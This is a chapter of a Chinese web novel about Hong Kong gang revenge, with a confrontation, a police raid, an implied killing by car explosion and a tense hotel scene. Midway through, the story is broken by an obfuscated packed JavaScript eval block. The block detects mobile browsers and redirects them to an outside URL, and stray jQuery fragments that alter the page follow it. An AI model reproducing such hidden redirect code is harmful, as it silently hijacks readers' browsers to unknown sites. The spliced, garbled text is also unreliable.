雷扬不急不躁,慢条斯理地问:“狂龙,是不是你?”
“扬哥,我现在否认还有用吗?”他边说边往门外退,“你都事先认定是我做的。”
“录音带的声音是不是你?”
“是。”狂龙不得不承认,“可是我不是这个意思……”
“你是什么意思?威胁他没有证据?”雷扬的声音越来越冷。
“不是……”
狂龙咬牙,“五年前,我不是要去截你的货,是个误会,我本来要去……”
“砰”地一声木仓响,子弹划过狂龙的脚边。
狂龙胡乱开了两木仓还击,马仔们掩护着他往外面撤,雷扬的人全部追出去,连开了几木仓,正要去追,楼梯上轰隆地响起杂乱脚步声以及阿Sir们的训斥:“再跑,我开木仓了。”
雷扬的人霎时停下,鸡仔忍不住爆粗口。
“艹,条子怎么来了。”
身穿制服的警官们陆续上来,一个个举着木仓,“都给我站住,不要动。”
最后上来的是于天佑。
包间的门大开,雷扬坐在沙发正中,整了整西装才站起来,伸手:“于Sir,今天这么好兴致来玩?”
于天佑盯着他,到底还是没有驳他的面子,握了握手,“有人举报你们在这非法集会。”
雷扬大声笑:“怎么可能?我们在这喝酒呢?”
“我和我的艺人一起喝酒,聊聊电影,不犯法吧?”
他指着宋绍廷,那人双手插兜,淡淡笑了下:“于Sir,我们真的没干什么,那些人突然冲进来,不知道你们抓到人没有?”
“没有,他们人多又跑得快。”于天佑微微眯眼,“你身上是怎么回事?”
宋绍廷毫不在意T恤上沾染的红色血迹,摊开手做无辜状:“我也不知道啊。”
看他没有受伤,于天佑放下心来,只是觉得奇怪,他怎么和雷扬搅合到一起了。
甄真担心他的安全,半夜报警,特意让他也过来。
她再三交代,一定要保证宋绍廷的安全。
现在看来,她是多虑了。
“行吧,我是例行检查,既然你们在谈事情,我就不打扰了。”
于天佑深深看了眼房间里的人,挪了两步就踩到碎的玻璃渣,问宋绍廷:“这都怎么回事?”
“哦,大家喝的有点多,不小心打碎的,”
警察来去匆匆,包间里一片狼藉。
没人说话。
最后还是鸡仔炸毛:“叼,条子怎么突然来了?”
“艹他老母,条子不来,狂龙根本跑不掉。”
宋绍廷难得附和:“鸡仔哥说的没错,要不是警察,狂龙今天绝对跑不掉,不过话说回来,他应该也跑不远。”
雷扬意外挑眉:“为什么?”
“因为他的腿中木仓了。”
鸡仔猛拍大腿:“如果真是这样,我现在去追。”
雷扬叫住追出去的鸡仔,笑的诡异:“你着什么急,不是这么做事的。”
宋绍廷心中却涌出一阵狂喜,雷扬睚眦必报,一旦下定决心要做什么,就不会落空。
“那要怎么做?再不追,他都跑了。”鸡仔不服气。
“不知道啊?跟我这么多年,一点皮毛都没学到。”雷扬恨铁不成钢,眼神陡然冰冷,“成天打打杀杀,能上什么台面。”
“一帮差佬都过来查了,你还跑出去砍人,送死吗?”
“你不如现在出门转左再行五百米啊,有人接你们的。”
鸡仔纳闷,竟然真的想了一下出门转左行五百米是哪里,瞪大眼叫:“警局?”
雷扬看他像看傻子,觉得这人无可救药。
“现在不兴当街砍人了,狂龙作死就不能怪别人,我说过不杀人的,可是也说过一定要找到五年前埋伏我的凶手。”
说完,他接过马仔手中的大哥大,“看看他在不在里面。”
“如果在,做事吧。”
雷扬挂了电话,陡然起身,“走了。”
宋绍廷在原地征愣了几秒,雷扬眼眸深深地回头看了他好一会,“Bryan,你哥的仇,我帮你报了。”
“好好拍戏,给我赚钱。”
宋绍廷出门时,身上还是泛起一阵冷意。
没有原先设想的复仇快感,心绪竟是难以言喻。
胡黛落后他半个身位,没明白扬哥话里的意思,“他刚刚这么说,是……”
“哦,你记得明天买份报纸。”
他抬眸望着霓虹灯绚烂的长街,一时征然,好像被定住一般,胡黛没听出事情的严重性,拍了拍他的后背:“怎么不走,明天是早戏哦。”
“你先回去。”
宋绍廷的声音冷凉冷凉地,让她好生奇怪。
“你没事吧?”
“没事,你先回去,我要去医院看我阿妈。”他给她拦了出租车,看着她上车。
胡黛从模糊车窗里看到修长而萧索的人影,百思不得其解。
宋绍廷看着出租车走远,缓缓转身,却似有所感,直愣愣地看着远处街角的书报亭下的身影。
纤长身影,眉目浓稠如画,只是眼神凉如水,正一错不错地落在他身上。
他早该想到的,这些阿SIR怎么会那么快来。
只有阿嫂会想到这种办法。
还有阿豪,他忍住不去找人,可也知道阿豪一定被救走了。
因为阿嫂来了,不会见死不救。
甄真抱着手臂,早就不看手中的报纸了,在看她对面的人,那个一心想为自己哥哥复仇的人。
她其实早该想到的,宋绍廷这么聪明,怎么会甘心就这么放过害死哥哥的人。
这些时日,他丝毫不提报仇,其实他从一开始就没答应过她不报仇。
甄真心中五味杂陈,她好像不能过分责怪他。
那道身影如同一根扎根的电线杆,半分不曾挪动,只是将昏昧不明光线投射过来,让人捉摸不透。
金牙炳飞快地从小街上飞奔而来,跑得上气不接下气,口齿不清了,但还是说完了话:“那边,两条街之外,有辆车失控,撞到路边,油箱泄露,炸了。”
他说的断断续续,甄真听懂了却没当回事,只以为是普通的交通事故,宋绍廷也模糊听懂了。
他在想明天的报纸不需要买了。
金牙炳站在甄真旁边,说完话才发现宋绍廷,“廷仔,你站那么远干嘛,快过来啊。”
见他还是没懂,金牙炳跑过来拉他,“你不知道我们多当心,我只有去找阿嫂。”
“还是阿嫂想的周到,让于Sir出来扫街。”
“哎,就是阿豪,不知道怎么被斩了手指……”
他絮絮叨叨地,宋绍廷在他后面亦步亦趋,像是走了很长的一段路才到达终点,沉沉地呼出一口气:“阿嫂,我们去医院吧。”
*
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639475|177180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
***
红姨早就睡着了。
护工看见他们进来,吃惊道:“怎么这么晚?”
她以为他们是不放心,又解释说红姨这几天都很好,开始能分辨自己在医院,能吃能睡,不清醒的时间少了。
宋绍廷不声不响地在床边坐下,示意阿姨先出去。
门关上后,他抓住了红姨的手,“阿妈,哥哥的仇报了,你放心。”
甄真倒抽一口凉气,心思一转,顿时悟到那辆被烧掉的车可能就是狂龙和全辉坐的。
良久,宋绍廷放下红姨的手,给她掖好被子。
“你什么时候开始计划的?”
“阿豪是不是在给你做事?”
“你知不知道他断了一个手指,还有一根也好不到哪里去,差点没保住命……”
甄真的声音在他背后,微微发抖。
他转身,平时挺直的脊背微弯,轻轻吐出两个字:“抱歉。”
这不是一个抱歉可以解决的问题,甄真心中后怕,如果她今天没收到消息,没带警察去,他都不知道还有没有命。
结果也许是好的,可是太凶险了。
比起为一个人报仇,她好像更不能承受再失去一个活生生的人。
这些话,甄真没法说,只能转身往外走。
他追出去,扯了她两下手臂,没能阻止她前行的脚步,只能跟着她进电梯。
电梯人多,两人紧贴着站,他闻到久闻的熟悉清香。
到了一楼,所有人鱼贯而出,甄真依然迈着大步,他紧跟着,回到车上。
“我来开。”他坚持。
甄真没说什么,下车,换位子。
谁也没说去哪里,甄真以为他会往家里开,然而他没有,车最后停在富丽堂皇的酒店门前。
“下车。”
甄真还没反应过来,他已经把她拉下车。
这酒店,她认出来了,是他拍戏的那间酒店对面。
“为什么来这里?”
“为什么不可以?”
“……”
他拿着钥匙,靠在车上,视线和她平齐,落在她的唇上,“进去吧,我们不回城寨了。”
甄真那时只以为他说今晚不回城寨了。
既来之,则安之。
时间确实很晚了,他们似乎有很多话要说。
宋绍廷拿着房卡走在前面,她远远跟着,心跳蓦然快了许多。
她在心里笑自己太不经事,去个酒店而已。
门打开,是个双人间,但房间不大,两张床之间的距离可以忽略不计。
甄真坐在床边,看他进去浴室,听到哗哗水声响起,不一会他披着浴巾出来,上身光着,年轻人喷张的肌肉线条非常明显。
她不自在地转开眼,“去穿衣服。”
“衣服脏了,明天再说。”这人拒绝地干脆。
“怎么就脏……”
“有血。”
他轻描淡写地,声音特别轻,但是却如同巨石砸到她胸口。
甄真冷静下来的脑子又冲血了,“你怎么敢的?”
“那些人是亡命之徒来的,随时能要你的命。”
“还有阿豪,你知道看到阿豪那样,我以为你也出事……”
甄真右边的床榻下陷,身体被人掰过来,宋绍廷头发上的水汽洒在她的颈窝,薄而利的唇角擦过她的锁骨。
“阿嫂,对不起,让你担心了。”